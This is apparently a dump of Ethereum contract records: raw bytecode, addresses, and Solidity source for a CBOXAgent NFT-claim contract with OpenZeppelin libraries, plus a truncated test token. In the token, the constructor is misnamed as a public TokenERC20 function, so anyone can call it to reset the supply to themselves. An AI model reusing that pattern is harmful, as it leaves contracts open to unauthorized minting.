185612c8b565b935061247483612c38565b8060005b838110156124a557815161248c888261242d565b975061249783612c7e565b925050600181019050612478565b5085935050505092915050565b6124bb81612d65565b82525050565b60006124cc82612c68565b6124d68185612c9c565b93506124e6818560208601612dd6565b6124ef81612f64565b840191505092915050565b600061250582612c73565b61250f8185612cad565b935061251f818560208601612dd6565b61252881612f64565b840191505092915050565b6000815461254081612e09565b61254a8186612cbe565b945060018216600081146125655760018114612576576125a9565b60ff198316865281860193506125a9565b61257f85612c48565b60005b838110156125a157815481890152600182019150602081019050612582565b838801955050505b50505092915050565b60006125bf603483612cad565b91506125ca82612f82565b604082019050919050565b60006125e2602883612cad565b91506125ed82612fd1565b604082019050919050565b6000612605602b83612cad565b915061261082613020565b604082019050919050565b6000612628602683612cad565b91506126338261306f565b604082019050919050565b600061264b602983612cad565b9150612656826130be565b604082019050919050565b600061266e600783612cbe565b91506126798261310d565b600782019050919050565b6000612691602583612cad565b915061269c82613136565b604082019050919050565b60006126b4603283612cad565b91506126bf82613185565b604082019050919050565b60006126d7602a83612cad565b91506126e2826131d4565b604082019050919050565b60006126fa602083612cad565b915061270582613223565b602082019050919050565b600061271d602983612cad565b91506127288261324c565b604082019050919050565b6000612740602983612cad565b915061274b8261329b565b604082019050919050565b6000612763602883612cad565b915061276e826132ea565b604082019050919050565b6000612786602183612cad565b915061279182613339565b604082019050919050565b6127a581612dbd565b82525050565b6127b481612dbd565b82525050565b60006127c582612661565b91506127d18284612533565b915081905092915050565b60006020820190506127f16000830184612445565b92915050565b600060a08201905061280c6000830188612445565b6128196020830187612445565b818103604083015261282b8186612454565b9050818103606083015261283f8185612454565b9050818103608083015261285381846124c1565b90509695505050505050565b600060a0820190506128746000830188612445565b6128816020830187612445565b61288e60408301866127ab565b61289b60608301856127ab565b81810360808301526128ad81846124c1565b90509695505050505050565b600060208201905081810360008301526128d38184612454565b905092915050565b600060408201905081810360008301526128f58185612454565b905081810360208301526129098184612454565b90509392505050565b600060208201905061292760008301846124b2565b92915050565b6000602082019050818103600083015261294781846124fa565b905092915050565b60006020820190508181036000830152612968816125b2565b9050919050565b60006020820190508181036000830152612988816125d5565b9050919050565b600060208201905081810360008301526129a8816125f8565b9050919050565b600060208201905081810360008301526129c88161261b565b9050919050565b600060208201905081810360008301526129e88161263e565b9050919050565b60006020820190508181036000830152612a0881612684565b9050919050565b60006020820190508181036000830152612a28816126a7565b9050919050565b60006020820190508181036000830152612a48816126ca565b9050919050565b60006020820190508181036000830152612a68816126ed565b9050919050565b60006020820190508181036000830152612a8881612710565b9050919050565b60006020820190508181036000830152612aa881612733565b9050919050565b60006020820190508181036000830152612ac881612756565b9050919050565b60006020820190508181036000830152612ae881612779565b9050919050565b6000602082019050612b0460008301846127ab565b92915050565b6000604082019050612b1f60008301856127ab565b612b2c60208301846127ab565b9392505050565b6000612b3d612b4e565b9050612b498282612e3b565b919050565b6000604051905090565b600067ffffffffffffffff821115612b7357612b72612f13565b5b602082029050602081019050919050565b600067ffffffffffffffff821115612b9f57612b9e612f13565b5b602082029050919050565b600067ffffffffffffffff821115612bc557612bc4612f13565b5b602082029050602081019050919050565b600067ffffffffffffffff821115612bf157612bf0612f13565b5b612bfa82612f64565b9050602081019050919050565b600067ffffffffffffffff821115612c2257612c21612f13565b5b612c2b82612f64565b9050602081019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000612cd482612dbd565b9150612cdf83612dbd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612d1457612d13612eb5565b5b828201905092915050565b6000612d2a82612dbd565b9150612d3583612dbd565b925082821015612d4857612d47612eb5565b5b828203905092915050565b6000612d5e82612d9d565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015612df4578082015181840152602081019050612dd9565b83811115612e03576000848401525b50505050565b60006002820490506001821680612e2157607f821691505b60208210811415612e3557612e34612ee4565b5b50919050565b612e4482612f64565b810181811067ffffffffffffffff82111715612e6357612e62612f13565b5b80604052505050565b6000612e7782612dbd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612eaa57612ea9612eb5565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600060033d1115612f615760046000803e612f5e600051612f75565b90505b90565b6000601f19601f8301169050919050565b60008160e01c9050919050565b7f455243313135353a207472616e7366657220746f206e6f6e204552433131353560008201527f526563656976657220696d706c656d656e746572000000000000000000000000602082015250565b7f455243313135353a204552433131353552656365697665722072656a6563746560008201527f6420746f6b656e73000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a2062616c616e636520717565727920666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260008201527f20617070726f7665640000000000000000000000000000000000000000000000602082015250565b7f697066733a2f2f00000000000000000000000000000000000000000000000000600082015250565b7f455243313135353a207472616e7366657220746f20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a207472616e736665722063616c6c6572206973206e6f742060008201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000602082015250565b7f455243313135353a20696e73756666696369656e742062616c616e636520666f60008201527f72207472616e7366657200000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f455243313135353a2073657474696e6720617070726f76616c2073746174757360008201527f20666f722073656c660000000000000000000000000000000000000000000000602082015250565b7f455243313135353a206163636f756e747320616e6420696473206c656e67746860008201527f206d69736d617463680000000000000000000000000000000000000000000000602082015250565b7f455243313135353a2069647320616e6420616d6f756e7473206c656e6774682060008201527f6d69736d61746368000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a206d696e7420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600060443d10156133985761341b565b6133a0612b4e565b60043d036004823e80513d602482011167ffffffffffffffff821117156133c857505061341b565b808201805167ffffffffffffffff8111156133e6575050505061341b565b80602083010160043d03850181111561340357505050505061341b565b61341282602001850186612e3b565b82955050505050505b90565b61342781612d53565b811461343257600080fd5b50565b61343e81612d65565b811461344957600080fd5b50565b61345581612d71565b811461346057600080fd5b50565b61346c81612dbd565b811461347757600080fd5b5056fe516d585664634d543153545442333961325a664651454565567a3172754650314c47336e57524732746e39486545a26469706673582212209b6cac7c2b02c7240fb49a4f0d85f846e8fe9b6f26b880f45a23d9d67ced390764736f6c63430008030033
[ 5, 20, 12 ]
0xf288D8a7f0C2bc9907892947F80695BfF89B5C1e
// SPDX-License-Identifier: MIT // CBOX Agent for getting items from given vault // // .. . . .. // @@@@& &@@@@@@@@@@@@@@@( @@@@@. // @@@@& [email protected]@@@@@@@@@@@@@@@@@@@@@@@@. @@@@@. // @@@@& @@@@@@@@ @@@@@@@@ @@@@@. // @@@@@@@@@@.. ,@@@@@@@@@@. // @@@@@@@@ [email protected]@@@@@@@. // @@@@@@. %@@@@@@. // @@@@@. %@@@@@. // @@@@@ @@@@@. // [email protected]@@@& C-BOX @@@@@ // @@@@@ A G E N T @@@@@. // /@@@@, .&@@@@.. // @@@@@/ @@@@@( // %@@@@@.. [email protected]@@@@. // [email protected]@@@@@,. #@@@@@@ // [email protected]@@@@@@@... . ,@@@@@@@@ // . @@@@@@@@@@@@@@@@@@@@@@@@& // [email protected]@@@@@@@@@@@@@@.. // // // @creator: ConiunIO // @security: [email protected] // @author: Batuhan KATIRCI (@batuhan_katirci) // @website: https://coniun.io/ pragma solidity ^0.8.11; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; error InvalidSignature(string message); error ExpiredSignature(string message); error ReceiverMismatch(string message); error TransferError(string message); error PermissionError(string message); error DuplicateEntryError(string message); contract CBOXAgent is Ownable, Pausable { event CBOXClaimed( uint256 indexed cboxWeek, address indexed owner, uint256 indexed passId, address contractAddress, uint256 tokenId ); using ECDSA for bytes32; address private _signerAddress; address private _coniunContractAddress; // weekIndex -> (passId -> claimed) mapping(uint256 => mapping(uint256 => bool)) private _cboxClaims; constructor(address signerAddress, address coniunContractAddress) { _signerAddress = signerAddress; _coniunContractAddress = coniunContractAddress; } function setSignerAddress(address signerAddress) public onlyOwner { _signerAddress = signerAddress; } function claimToken( address vaultAddress, address contractAddress, uint256 tokenId, uint256 passId, uint256 cboxWeek, bytes memory signature ) public whenNotPaused { // Disallow contract calls if (msg.sender != tx.origin) { revert PermissionError("Contract calls is not allowed"); } // Check if cbox already claimed in given week index if (_cboxClaims[cboxWeek][passId] == true) { revert DuplicateEntryError("This C-BOX is already claimed"); } // Verify signature agaisnt backend signer address if ( verifySignature( vaultAddress, msg.sender, contractAddress, tokenId, passId, cboxWeek, signature ) != true ) { revert InvalidSignature("Signature verification failed"); } _cboxClaims[cboxWeek][passId] = true; // initiate proxies ERC721Proxy proxy = ERC721Proxy(contractAddress); ERC721Proxy coniunProxy = ERC721Proxy(_coniunContractAddress); // check if msg.sender still owns that eligible cbox if (coniunProxy.ownerOf(passId) != msg.sender) { revert ReceiverMismatch("C-BOX owner mismatch"); } // call safeTransferFrom to transfer tokenId to msg.sender proxy.safeTransferFrom(vaultAddress, msg.sender, tokenId); emit CBOXClaimed(cboxWeek, msg.sender, passId, contractAddress, tokenId); } // management functions function pause() public onlyOwner whenNotPaused { _pause(); } function unpause() public onlyOwner whenPaused { _unpause(); } // internal functions function getMessageHash( address _vaultAddress, address _receiverAddress, address _contractAddress, uint256 _tokenId, uint256 _passId, uint256 _cboxWeek ) internal pure returns (bytes32) { return keccak256( abi.encodePacked( _vaultAddress, _receiverAddress, _contractAddress, _tokenId, _passId, _cboxWeek ) ); } function getEthSignedMessageHash(bytes32 _messageHash) private pure returns (bytes32) { return keccak256( abi.encodePacked("\x19Ethereum Signed Message:\n32", _messageHash) ); } function verifySignature( address _vaultAddress, address _receiverAddress, address _contractAddress, uint256 _tokenId, uint256 _passId, uint256 _cboxWeek, bytes memory signature ) private view returns (bool) { bytes32 messageHash = getMessageHash( _vaultAddress, _receiverAddress, _contractAddress, _tokenId, _passId, _cboxWeek ); if (_receiverAddress != msg.sender) { revert ReceiverMismatch("This signature is not for you"); } bytes32 ethSignedMessageHash = getEthSignedMessageHash(messageHash); return recoverSigner(ethSignedMessageHash, signature) == _signerAddress; } function recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature) private pure returns (address) { (bytes32 r, bytes32 s, uint8 v) = splitSignature(_signature); return ecrecover(_ethSignedMessageHash, v, r, s); } function splitSignature(bytes memory sig) private pure returns ( bytes32 r, bytes32 s, uint8 v ) { if (sig.length != 65) { revert InvalidSignature("Signature length is not 65 bytes"); } assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } } } // for calling erc721 contracts abstract contract ERC721Proxy { function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual; function ownerOf(uint256 tokenId) public view virtual returns (address); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); uint8 v = uint8((uint256(vs) >> 255) + 27); return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
0x608060405234801561001057600080fd5b50600436106100a5576000357c010000000000000000000000000000000000000000000000000000000090048063715018a611610078578063715018a6146100fc5780638456cb59146101045780638da5cb5b1461010c578063f2fde38b1461012757600080fd5b8063046dc166146100aa5780633d00e3af146100bf5780633f4ba83a146100d25780635c975abb146100da575b600080fd5b6100bd6100b8366004610b1f565b61013a565b005b6100bd6100cd366004610b72565b61019f565b6100bd610529565b60005460a060020a900460ff1660405190151581526020015b60405180910390f35b6100bd6105bc565b6100bd6105f3565b600054604051600160a060020a0390911681526020016100f3565b6100bd610135366004610b1f565b610655565b600054600160a060020a031633146101705760405160e560020a62461bcd02815260040161016790610c64565b60405180910390fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005460a060020a900460ff16156101cc5760405160e560020a62461bcd02815260040161016790610c99565b333214610235576040517fa716cde200000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f436f6e74726163742063616c6c73206973206e6f7420616c6c6f7765640000006044820152606401610167565b600082815260036020908152604080832086845290915290205460ff161515600114156102bd576040517e7ad4f800000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f5468697320432d424f5820697320616c726561647920636c61696d65640000006044820152606401610167565b6102cc8633878787878761070d565b1515600114610337576040517f2a34f7fe00000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f5369676e617475726520766572696669636174696f6e206661696c65640000006044820152606401610167565b600082815260036020908152604080832086845290915290819020805460ff1916600117905560025490517f6352211e000000000000000000000000000000000000000000000000000000008152600481018590528691600160a060020a03169033908290636352211e90602401602060405180830381865afa1580156103c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103e69190610cd0565b600160a060020a031614610456576040517f9f2f802300000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f432d424f58206f776e6572206d69736d617463680000000000000000000000006044820152606401610167565b6040517f42842e0e000000000000000000000000000000000000000000000000000000008152600160a060020a038981166004830152336024830152604482018890528316906342842e0e90606401600060405180830381600087803b1580156104bf57600080fd5b505af11580156104d3573d6000803e3d6000fd5b505060408051600160a060020a038b168152602081018a905288935033925087917f2be95c2dc1607d896b4f5004293d7baeb2bef76333a3687ae7b295cc24458aa7910160405180910390a45050505050505050565b600054600160a060020a031633146105565760405160e560020a62461bcd02815260040161016790610c64565b60005460a060020a900460ff166105b25760405160e560020a62461bcd02815260206004820152601460248201527f5061757361626c653a206e6f74207061757365640000000000000000000000006044820152606401610167565b6105ba61086d565b565b600054600160a060020a031633146105e95760405160e560020a62461bcd02815260040161016790610c64565b6105ba6000610927565b600054600160a060020a031633146106205760405160e560020a62461bcd02815260040161016790610c64565b60005460a060020a900460ff161561064d5760405160e560020a62461bcd02815260040161016790610c99565b6105ba610984565b600054600160a060020a031633146106825760405160e560020a62461bcd02815260040161016790610c64565b600160a060020a0381166107015760405160e560020a62461bcd02815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610167565b61070a81610927565b50565b604080516c01000000000000000000000000600160a060020a038a811682026020808501919091528a82168084026034860152918a169092026048840152605c8301889052607c8301879052609c8084018790528451808503909101815260bc909301909352815191012060009133146107e3576040517f9f2f802300000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f54686973207369676e6174757265206973206e6f7420666f7220796f750000006044820152606401610167565b600061083c826040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000006020820152603c8101829052600090605c01604051602081830303815290604052805190602001209050919050565b600154909150600160a060020a031661085582866109fd565b600160a060020a0316149a9950505050505050505050565b60005460a060020a900460ff166108c95760405160e560020a62461bcd02815260206004820152601460248201527f5061757361626c653a206e6f74207061757365640000000000000000000000006044820152606401610167565b6000805474ff0000000000000000000000000000000000000000191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b604051600160a060020a03909116815260200160405180910390a1565b60008054600160a060020a0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60005460a060020a900460ff16156109b15760405160e560020a62461bcd02815260040161016790610c99565b6000805474ff0000000000000000000000000000000000000000191660a060020a1790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25861090a3390565b600080600080610a0c85610a7c565b6040805160008152602081018083528b905260ff8316918101919091526060810184905260808101839052929550909350915060019060a0016020604051602081039080840390855afa158015610a67573d6000803e3d6000fd5b5050604051601f190151979650505050505050565b60008060008351604114610aec576040517f2a34f7fe00000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f5369676e6174757265206c656e677468206973206e6f742036352062797465736044820152606401610167565b50505060208101516040820151606090920151909260009190911a90565b600160a060020a038116811461070a57600080fd5b600060208284031215610b3157600080fd5b8135610b3c81610b0a565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008060008060008060c08789031215610b8b57600080fd5b8635610b9681610b0a565b95506020870135610ba681610b0a565b945060408701359350606087013592506080870135915060a087013567ffffffffffffffff80821115610bd857600080fd5b818901915089601f830112610bec57600080fd5b813581811115610bfe57610bfe610b43565b604051601f8201601f19908116603f01168101908382118183101715610c2657610c26610b43565b816040528281528c6020848701011115610c3f57600080fd5b8260208601602083013760006020848301015280955050505050509295509295509295565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526010908201527f5061757361626c653a2070617573656400000000000000000000000000000000604082015260600190565b600060208284031215610ce257600080fd5b8151610b3c81610b0a56fea26469706673582212206d6d969c3c451d7081309b03f58c6c2534da20b9c6906793eba942dcd6b3754d64736f6c634300080b0033
[ 38 ]
0xf2891b23512ff3735ea6f5ba5a2d314d87c65394
pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint32 _value, address _token, bytes _extraData) public; } contract x32323 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 0; // 0 decimals is the strongly suggested default, avoid changing it uint32 public totalSupply; // This creates an array with all balances mapping (address => uint32) public balanceOf; mapping (address => mapping (address => uint32)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint32 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint32 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( uint32 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = 23000000; // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = "測試4"; // Set the name for display purposes symbol = "測試4"; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint32 _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = 